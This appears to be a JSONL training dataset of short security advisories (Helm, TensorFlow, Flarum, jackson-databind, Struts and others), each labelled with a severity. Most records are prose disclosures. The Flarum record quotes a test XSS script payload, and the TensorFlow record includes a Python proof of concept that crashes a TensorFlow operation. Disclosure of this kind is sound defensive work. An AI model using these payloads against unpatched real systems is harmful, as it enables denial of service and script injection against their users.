-{"id": "cde9dc18f7a35a647236", "text": "Aliases are never checked in helm\n\n### Impact\n\nDuring a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the `alias` field on a `Chart.yaml` is not properly sanitized. This could lead to the injection of unwanted information into a chart.\n\n### Patches\n\nThis issue has been patched in Helm 3.3.2 and 2.16.11\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/chartutil\n\n### Workarounds\n\nManually review the `dependencies` field of any untrusted chart, verifying that the `alias` field is either not used, or (if used) does not contain newlines or path characters.", "text_raw": "Aliases are never checked in helm\n\n[Severity: LOW]\n\n### Impact\n\nDuring a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the `alias` field on a `Chart.yaml` is not properly sanitized. This could lead to the injection of unwanted information into a chart.\n\n### Patches\n\nThis issue has been patched in Helm 3.3.2 and 2.16.11\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/chartutil\n\n### Workarounds\n\nManually review the `dependencies` field of any untrusted chart, verifying that the `alias` field is either not used, or (if used) does not contain newlines or path characters.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "e0095bca12ad5bfa4df3", "text": "Path Traversal in mcstatic\n\nAll versions of `mcstatic` are vulnerable to path traversal.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time.", "text_raw": "Path Traversal in mcstatic\n\n[Severity: HIGH]\n\nAll versions of `mcstatic` are vulnerable to path traversal.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "65b5f6af3d52f3ae3615", "text": "Null dereference in Grappler's `TrySimplify`\n\n### Impact\nThe implementation of [`TrySimplify`](https://github.com/tensorflow/tensorflow/blob/c22d88d6ff33031aa113e48aa3fc9aa74ed79595/tensorflow/core/grappler/optimizers/arithmetic_optimizer.cc#L390-L401) has undefined behavior due to dereferencing a null pointer in corner cases that\nresult in optimizing a node with no inputs.\n\n### Patches\nWe have patched the issue in GitHub commit [e6340f0665d53716ef3197ada88936c2a5f7a2d3](https://github.com/tensorflow/tensorflow/commit/e6340f0665d53716ef3197ada88936c2a5f7a2d3).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Null dereference in Grappler's `TrySimplify`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of [`TrySimplify`](https://github.com/tensorflow/tensorflow/blob/c22d88d6ff33031aa113e48aa3fc9aa74ed79595/tensorflow/core/grappler/optimizers/arithmetic_optimizer.cc#L390-L401) has undefined behavior due to dereferencing a null pointer in corner cases that\nresult in optimizing a node with no inputs.\n\n### Patches\nWe have patched the issue in GitHub commit [e6340f0665d53716ef3197ada88936c2a5f7a2d3](https://github.com/tensorflow/tensorflow/commit/e6340f0665d53716ef3197ada88936c2a5f7a2d3).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "258a1b190d1a90e6d457", "text": "Cross Site Scripting(XSS) Vulnerability in Latest Release 4.3.6 Site basic settings\n\nbaserCMS 4.3.6 and earlier is affected by Cross Site Scripting (XSS) via arbitrary script execution. Admin access is required to exploit this vulnerability. The affected components is toolbar.php. The issue is fixed in version 4.3.7.", "text_raw": "Cross Site Scripting(XSS) Vulnerability in Latest Release 4.3.6 Site basic settings\n\n[Severity: LOW]\n\nbaserCMS 4.3.6 and earlier is affected by Cross Site Scripting (XSS) via arbitrary script execution. Admin access is required to exploit this vulnerability. The affected components is toolbar.php. The issue is fixed in version 4.3.7.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-28", "split": "train"}
-{"id": "72586fd891c3638d7821", "text": "Ecessa Edge EV150 10.7.4 CSRF Add Superuser Exploit", "text_raw": "Ecessa Edge EV150 10.7.4 CSRF Add Superuser Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-06-24", "split": "train"}
-{"id": "8567196c540c7914b6af", "text": "Denial of service in Apache Xerces2\n\nApache Xerces2 Java Parser before 2.12.0 allows remote attackers to cause a denial of service (CPU consumption) via a crafted message to an XML service, which triggers hash table collisions.", "text_raw": "Denial of service in Apache Xerces2\n\n[Severity: HIGH]\n\nApache Xerces2 Java Parser before 2.12.0 allows remote attackers to cause a denial of service (CPU consumption) via a crafted message to an XML service, which triggers hash table collisions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "13fe66c83167b96f4935", "text": "XSS vulnerability with translator\n\nFlarum's translation system allowed for string inputs to be converted into HTML DOM nodes when rendered. This change was made after v0.1.0-beta.16 (our last beta before v1.0.0) and was not noticed or documented.\n\nThis allowed for any user to type malicious HTML markup within certain user input fields and have this execute on client browsers. The example which led to the discovery of this vulnerability was in the forum search box. Entering faux-malicious HTML markup, such as <script>alert('test')</script> resulted in an alert box appearing on the forum. This attack could also be modified to perform AJAX requests on behalf of a user, possibly deleting discussions, modifying their settings or profile, or even modifying settings on the Admin panel if the attack was targetted towards a privileged user.\n\n### Impact\n\nAll Flarum communities that run flarum v1.0.0 or v1.0.1 are impacted.\n\n### Patches\n\nThe vulnerability has been fixed and published as flarum/core v1.0.2. All communities running Flarum v1.0 have to upgrade as soon as possible to v1.0.2 using:\n\n```\ncomposer update --prefer-dist --no-dev -a -W\n```\n\nYou can then confirm you run the latest version using:\n\n```\ncomposer show flarum/core\n```\n\n### Workarounds\n\n__None.__\n\n### For more information\n\nFor any questions or comments on this vulnerability please visit https://discuss.flarum.org/d/27558.\n\nFor support questions create a discussion at https://discuss.flarum.org/t/support.\n\nA reminder that if you ever become aware of a security issue in Flarum, please report it to us privately by emailing security@flarum.org, and we will address it promptly.", "text_raw": "XSS vulnerability with translator\n\n[Severity: CRITICAL]\n\nFlarum's translation system allowed for string inputs to be converted into HTML DOM nodes when rendered. This change was made after v0.1.0-beta.16 (our last beta before v1.0.0) and was not noticed or documented.\n\nThis allowed for any user to type malicious HTML markup within certain user input fields and have this execute on client browsers. The example which led to the discovery of this vulnerability was in the forum search box. Entering faux-malicious HTML markup, such as <script>alert('test')</script> resulted in an alert box appearing on the forum. This attack could also be modified to perform AJAX requests on behalf of a user, possibly deleting discussions, modifying their settings or profile, or even modifying settings on the Admin panel if the attack was targetted towards a privileged user.\n\n### Impact\n\nAll Flarum communities that run flarum v1.0.0 or v1.0.1 are impacted.\n\n### Patches\n\nThe vulnerability has been fixed and published as flarum/core v1.0.2. All communities running Flarum v1.0 have to upgrade as soon as possible to v1.0.2 using:\n\n```\ncomposer update --prefer-dist --no-dev -a -W\n```\n\nYou can then confirm you run the latest version using:\n\n```\ncomposer show flarum/core\n```\n\n### Workarounds\n\n__None.__\n\n### For more information\n\nFor any questions or comments on this vulnerability please visit https://discuss.flarum.org/d/27558.\n\nFor support questions create a discussion at https://discuss.flarum.org/t/support.\n\nA reminder that if you ever become aware of a security issue in Flarum, please report it to us privately by emailing security@flarum.org, and we will address it promptly.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "07b9933ae63e012ad515", "text": "Use after free in openssl\n\nAn issue was discovered in the openssl crate before 0.10.9 for Rust. A use-after-free occurs in CMS Signing.", "text_raw": "Use after free in openssl\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the openssl crate before 0.10.9 for Rust. A use-after-free occurs in CMS Signing.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b465183eb36d045639e9", "text": "Cross site scripting in comrak\n\nAn issue was discovered in the comrak crate before 0.9.1 for Rust. Cross site scripting (XSS) can occur because the protection mechanism for data: and javascript: URIs is case-sensitive, allowing (for example) Data: to be used in an attack.", "text_raw": "Cross site scripting in comrak\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the comrak crate before 0.9.1 for Rust. Cross site scripting (XSS) can occur because the protection mechanism for data: and javascript: URIs is case-sensitive, allowing (for example) Data: to be used in an attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "499005fc7d128fca2154", "text": "Information exposure in FasterXML jackson-databind\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.", "text_raw": "Information exposure in FasterXML jackson-databind\n\n[Severity: HIGH]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-23", "split": "train"}
-{"id": "d15ff10442a91810f083", "text": "BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability", "text_raw": "BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-12-06", "split": "train"}
-{"id": "c8a27654d7510c15f56f", "text": "Potential access control security issue in apollo-adminservice\n\n### Impact\nIf users expose apollo-adminservice to internet(which is not recommended), there are potential security issues since apollo-adminservice is designed to work in intranet and it doesn't have built-in access control. Malicious hackers may access apollo-adminservice apis directly to access/edit the application's configurations.\n\n### Patches\nAccess control for admin service was added in #3233 and was released in [v1.7.1](https://github.com/ctripcorp/apollo/releases/tag/v1.7.1).\n\n### Workarounds\nTo fix the potential issue without upgrading, simply follow the advice that do not expose apollo-adminservice to internet.\n\n### Credits\n[Lexu](https://github.com/lllllx) reported the issue and provided the required information to reproduce it.\n\n### References\n[Apollo Security Guidence](https://github.com/ctripcorp/apollo/wiki/Apollo%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97#71-%E5%AE%89%E5%85%A8%E7%9B%B8%E5%85%B3)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an [issue](https://github.com/ctripcorp/apollo/issues)\n* Email to one of the active [project maintainers](https://github.com/ctripcorp/apollo/graphs/contributors)", "text_raw": "Potential access control security issue in apollo-adminservice\n\n[Severity: HIGH]\n\n### Impact\nIf users expose apollo-adminservice to internet(which is not recommended), there are potential security issues since apollo-adminservice is designed to work in intranet and it doesn't have built-in access control. Malicious hackers may access apollo-adminservice apis directly to access/edit the application's configurations.\n\n### Patches\nAccess control for admin service was added in #3233 and was released in [v1.7.1](https://github.com/ctripcorp/apollo/releases/tag/v1.7.1).\n\n### Workarounds\nTo fix the potential issue without upgrading, simply follow the advice that do not expose apollo-adminservice to internet.\n\n### Credits\n[Lexu](https://github.com/lllllx) reported the issue and provided the required information to reproduce it.\n\n### References\n[Apollo Security Guidence](https://github.com/ctripcorp/apollo/wiki/Apollo%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97#71-%E5%AE%89%E5%85%A8%E7%9B%B8%E5%85%B3)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an [issue](https://github.com/ctripcorp/apollo/issues)\n* Email to one of the active [project maintainers](https://github.com/ctripcorp/apollo/graphs/contributors)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-02", "split": "train"}
-{"id": "ea4f8c7e4300b1089e25", "text": "Cross-Site Scripting in takeapeek\n\nAll versions of `takeapeek` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in takeapeek\n\n[Severity: HIGH]\n\nAll versions of `takeapeek` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ec3f28e8439c66a01462", "text": "Cross-site Scripting in kimai2\n\nkimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "Cross-site Scripting in kimai2\n\n[Severity: MEDIUM]\n\nkimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "c395cb488410e4082584", "text": "False-positive validity for NFT1 genesis transactions\n\n### Impact\nIn the npm package named \"slp-validate\", versions prior to 1.2.2 are vulnerable to false-positive validation outcomes for the NFT1 Child Genesis transaction type. A poorly implemented SLP wallet or opportunistic attacker could create a seemingly valid NFT1 child token without burning any of the NFT1 Group token type as is required by the NFT1 specification.\n\n### Patches\nnpm package \"slp-validate\" has been patched and is published and tagged as version 1.2.2.\n\n### Workarounds\nUpgrade to slp-validate 1.2.2.\n\n### References\n* Package location: https://www.npmjs.com/package/slp-validate\n* SLP NFT1 spec: https://slp.dev/specs/slp-nft-1/#nft1-protocol-requirements\n* Git commit hash fixing this issue: https://github.com/simpleledger/slp-validate.js/commit/3963cf914afae69084059b82483da916d97af65c\n* Unit tests have been added to assist validator implementations in avoiding this bug: https://github.com/simpleledger/slp-unit-test-data/commit/8c942eacfae12686dcf1f3366321445a4fba73e7\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in the [slp-validate](https://github.com/simpleledger/slp-validate.js/issues) repository.", "text_raw": "False-positive validity for NFT1 genesis transactions\n\n[Severity: CRITICAL]\n\n### Impact\nIn the npm package named \"slp-validate\", versions prior to 1.2.2 are vulnerable to false-positive validation outcomes for the NFT1 Child Genesis transaction type. A poorly implemented SLP wallet or opportunistic attacker could create a seemingly valid NFT1 child token without burning any of the NFT1 Group token type as is required by the NFT1 specification.\n\n### Patches\nnpm package \"slp-validate\" has been patched and is published and tagged as version 1.2.2.\n\n### Workarounds\nUpgrade to slp-validate 1.2.2.\n\n### References\n* Package location: https://www.npmjs.com/package/slp-validate\n* SLP NFT1 spec: https://slp.dev/specs/slp-nft-1/#nft1-protocol-requirements\n* Git commit hash fixing this issue: https://github.com/simpleledger/slp-validate.js/commit/3963cf914afae69084059b82483da916d97af65c\n* Unit tests have been added to assist validator implementations in avoiding this bug: https://github.com/simpleledger/slp-unit-test-data/commit/8c942eacfae12686dcf1f3366321445a4fba73e7\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in the [slp-validate](https://github.com/simpleledger/slp-validate.js/issues) repository.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-30", "split": "train"}
-{"id": "cb9c32c9e0aa6714d74d", "text": "Access Control Bypass\n\nAn issue was discovered in Rancher 2 through 2.1.5. Any project member with access to the default namespace can mount the netes-default service account in a pod, and then use that pod to execute administrative privileged commands against the k8s cluster. This could be mitigated by isolating the default namespace in a separate project, where only cluster admins can be given permissions to access. As of 2018-12-20, this bug affected ALL clusters created or imported by Rancher.", "text_raw": "Access Control Bypass\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Rancher 2 through 2.1.5. Any project member with access to the default namespace can mount the netes-default service account in a pod, and then use that pod to execute administrative privileged commands against the k8s cluster. This could be mitigated by isolating the default namespace in a separate project, where only cluster admins can be given permissions to access. As of 2018-12-20, this bug affected ALL clusters created or imported by Rancher.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "6c14348e6930c195cfb9", "text": "Pillow Integer overflow in ImagingResampleHorizontal\n\nInteger overflow in the `ImagingResampleHorizontal` function in `libImaging/Resample.c` in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow.", "text_raw": "Pillow Integer overflow in ImagingResampleHorizontal\n\n[Severity: CRITICAL]\n\nInteger overflow in the `ImagingResampleHorizontal` function in `libImaging/Resample.c` in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "8aa953cf569a5511ff94", "text": "Withdrawn, accidental duplicate publish.\n\nThe is-my-json-valid package before 2.12.4 for Node.js has an incorrect exports['utc-millisec'] regular expression, which allows remote attackers to cause a denial of service (blocked event loop) via a crafted string.", "text_raw": "Moderate severity vulnerability that affects is-my-json-valid\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe is-my-json-valid package before 2.12.4 for Node.js has an incorrect exports['utc-millisec'] regular expression, which allows remote attackers to cause a denial of service (blocked event loop) via a crafted string.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "40ff05609ba7f595f01d", "text": "activesupport in Rails vulnerable to incorrect data conversion\n\n`lib/active_support/json/backends/yaml.rb` in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.", "text_raw": "activesupport in Rails vulnerable to incorrect data conversion\n\n[Severity: HIGH]\n\n`lib/active_support/json/backends/yaml.rb` in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "c870c7f530ef75318126", "text": "Keystone is vulnerable to CSV injection\n\nCSV Injection (aka Excel Macro Injection or Formula Injection) exists in admin/server/api/download.js and lib/list/getCSVData.js in KeystoneJS before 4.0.0-beta.7 via a value that is mishandled in a CSV export.", "text_raw": "Keystone is vulnerable to CSV injection\n\n[Severity: HIGH]\n\nCSV Injection (aka Excel Macro Injection or Formula Injection) exists in admin/server/api/download.js and lib/list/getCSVData.js in KeystoneJS before 4.0.0-beta.7 via a value that is mishandled in a CSV export.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-11-16", "split": "train"}
-{"id": "5028e829a6178655df37", "text": "Improper Certificate Validation in openssl\n\nAll versions of rust-openssl prior to 0.9.0 contained numerous insecure defaults including off-by-default certificate verification and no API to perform hostname verification. Unless configured correctly by a developer, these defaults could allow an attacker to perform man-in-the-middle attacks. The problem was addressed in newer versions by enabling certificate verification by default and exposing APIs to perform hostname verification. Use the SslConnector and SslAcceptor types to take advantage of these new features (as opposed to the lower-level SslContext type).", "text_raw": "Improper Certificate Validation in openssl\n\n[Severity: HIGH]\n\nAll versions of rust-openssl prior to 0.9.0 contained numerous insecure defaults including off-by-default certificate verification and no API to perform hostname verification. Unless configured correctly by a developer, these defaults could allow an attacker to perform man-in-the-middle attacks. The problem was addressed in newer versions by enabling certificate verification by default and exposing APIs to perform hostname verification. Use the SslConnector and SslAcceptor types to take advantage of these new features (as opposed to the lower-level SslContext type).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4dccd6d505f23810f8e2", "text": "Improper Access Control in activejob\n\nA Broken Access Control vulnerability in Active Job versions >= 4.2.0 allows an attacker to craft user input which can cause Active Job to deserialize it using GlobalId and give them access to information that they should not have.", "text_raw": "Improper Access Control in activejob\n\n[Severity: HIGH]\n\nA Broken Access Control vulnerability in Active Job versions >= 4.2.0 allows an attacker to craft user input which can cause Active Job to deserialize it using GlobalId and give them access to information that they should not have.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-05", "split": "train"}
-{"id": "09184afe49aa3912cd61", "text": "CHECK-fail in `QuantizeAndDequantizeV4Grad`\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.QuantizeAndDequantizeV4Grad`:\n\n```python\nimport tensorflow as tf\n\ngradient_tensor = tf.constant([0.0], shape=[1])\ninput_tensor = tf.constant([0.0], shape=[1])\ninput_min = tf.constant([[0.0]], shape=[1, 1])\ninput_max = tf.constant([[0.0]], shape=[1, 1])\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=gradient_tensor, input=input_tensor,\n  input_min=input_min, input_max=input_max, axis=0)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163) does not validate the rank of the `input_*` tensors. In turn, this results in the tensors being passes as they are to [`QuantizeAndDequantizePerChannelGradientImpl`](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306):\n\n```cc \ntemplate <typename Device, typename T>\nstruct QuantizeAndDequantizePerChannelGradientImpl {\n  static void Compute(const Device& d,\n                      typename TTypes<T, 3>::ConstTensor gradient,\n                      typename TTypes<T, 3>::ConstTensor input,\n                      const Tensor* input_min_tensor,\n                      const Tensor* input_max_tensor,\n                      typename TTypes<T, 3>::Tensor input_backprop,\n                      typename TTypes<T>::Flat input_min_backprop,\n                      typename TTypes<T>::Flat input_max_backprop) {\n    ...\n    auto input_min = input_min_tensor->vec<T>();\n    auto input_max = input_max_tensor->vec<T>();\n    ...\n}\n```\n\nHowever, the `vec<T>` method, requires the rank to 1 and triggers a `CHECK` failure otherwise.\n\n### Patches\nWe have patched the issue in GitHub commit [20431e9044cf2ad3c0323c34888b192f3289af6b](https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 as this is the only other affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in `QuantizeAndDequantizeV4Grad`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.QuantizeAndDequantizeV4Grad`:\n\n```python\nimport tensorflow as tf\n\ngradient_tensor = tf.constant([0.0], shape=[1])\ninput_tensor = tf.constant([0.0], shape=[1])\ninput_min = tf.constant([[0.0]], shape=[1, 1])\ninput_max = tf.constant([[0.0]], shape=[1, 1])\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=gradient_tensor, input=input_tensor,\n  input_min=input_min, input_max=input_max, axis=0)\n```                     \n                        \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163) does not validate the rank of the `input_*` tensors. In turn, this results in the tensors being passes as they are to [`QuantizeAndDequantizePerChannelGradientImpl`](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306):\n\n```cc \ntemplate <typename Device, typename T>\nstruct QuantizeAndDequantizePerChannelGradientImpl {\n  static void Compute(const Device& d,\n                      typename TTypes<T, 3>::ConstTensor gradient,\n                      typename TTypes<T, 3>::ConstTensor input,\n                      const Tensor* input_min_tensor,\n                      const Tensor* input_max_tensor,\n                      typename TTypes<T, 3>::Tensor input_backprop,\n                      typename TTypes<T>::Flat input_min_backprop,\n                      typename TTypes<T>::Flat input_max_backprop) {\n    ...\n    auto input_min = input_min_tensor->vec<T>();\n    auto input_max = input_max_tensor->vec<T>();\n    ...\n}\n```\n\nHowever, the `vec<T>` method, requires the rank to 1 and triggers a `CHECK` failure otherwise.\n\n### Patches\nWe have patched the issue in GitHub commit [20431e9044cf2ad3c0323c34888b192f3289af6b](https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 as this is the only other affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "c3d7e48fd295b1dd83a5", "text": "Deserialization of untrusted data in jackson-databind\n\nA flaw was found in jackson-databind before 2.9.10.7 and 2.6.7.5. FasterXML mishandles the interaction between serialization gadgets and typing. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "text_raw": "Deserialization of untrusted data in jackson-databind\n\n[Severity: HIGH]\n\nA flaw was found in jackson-databind before 2.9.10.7 and 2.6.7.5. FasterXML mishandles the interaction between serialization gadgets and typing. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-20", "split": "train"}
-{"id": "2f58b94f88ea1a1a9b73", "text": "Applications Manager 12.5 Arbitrary Command Execution Exploit", "text_raw": "Applications Manager 12.5 Arbitrary Command Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-01-13", "split": "train"}
-{"id": "0423e7058f6d7a084835", "text": "Apache Struts vulnerable to remote command execution (RCE) due to improper input validation\n\nApache Struts contains a Remote Code Execution when using results with no namespace and it's upper actions have no or wildcard namespace. The same flaw exists when using a url tag with no value, action set,  and it's upper actions have no or wildcard namespace.", "text_raw": "Apache Struts vulnerable to remote command execution (RCE) due to improper input validation\n\n[Severity: HIGH]\n\nApache Struts contains a Remote Code Execution when using results with no namespace and it's upper actions have no or wildcard namespace. The same flaw exists when using a url tag with no value, action set,  and it's upper actions have no or wildcard namespace.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "3a45f2b4de8cbf80fe3e", "text": "Restlet Framework 2.1.x before 2.1.7 and 2.x.x before 2.2 RC1, when using XMLRepresentation or XML serializers, allows attackers to cause a denial of service via an XML Entity Expansion (XEE) attack.", "text_raw": "Moderate severity vulnerability that affects org.restlet.jse:org.restlet\n\n[Severity: MEDIUM]\n\nRestlet Framework 2.1.x before 2.1.7 and 2.x.x before 2.2 RC1, when using XMLRepresentation or XML serializers, allows attackers to cause a denial of service via an XML Entity Expansion (XEE) attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "6632922ddf102bd1da11", "text": "Cross-Site Scripting in @ckeditor/ckeditor5-link\n\nVersions of `status-board` prior to 10.0.1 are vulnerable to Cross-Site Scripting. The `_createPreviewButton()` function fails to sanitize the `href` attribute of a created `<a>` tag. This may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 10.0.1 or later.", "text_raw": "Cross-Site Scripting in @ckeditor/ckeditor5-link\n\n[Severity: MEDIUM]\n\nVersions of `status-board` prior to 10.0.1 are vulnerable to Cross-Site Scripting. The `_createPreviewButton()` function fails to sanitize the `href` attribute of a created `<a>` tag. This may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 10.0.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-05-23", "split": "train"}
-{"id": "e464602748d0e930021e", "text": "github.com/pires/go-proxyproto vulnerable to DoS via Connection descriptor exhaustion\n\nThe package `github.com/pires/go-proxyproto` before 0.6.1 is vulnerable to Denial of Service (DoS) via creating connections without the proxy protocol header. While this issue was patched in 0.6.0, the fix introduced additional issues which were subsequently patched in 0.6.1.", "text_raw": "github.com/pires/go-proxyproto vulnerable to DoS via Connection descriptor exhaustion\n\n[Severity: HIGH]\n\nThe package `github.com/pires/go-proxyproto` before 0.6.1 is vulnerable to Denial of Service (DoS) via creating connections without the proxy protocol header. While this issue was patched in 0.6.0, the fix introduced additional issues which were subsequently patched in 0.6.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
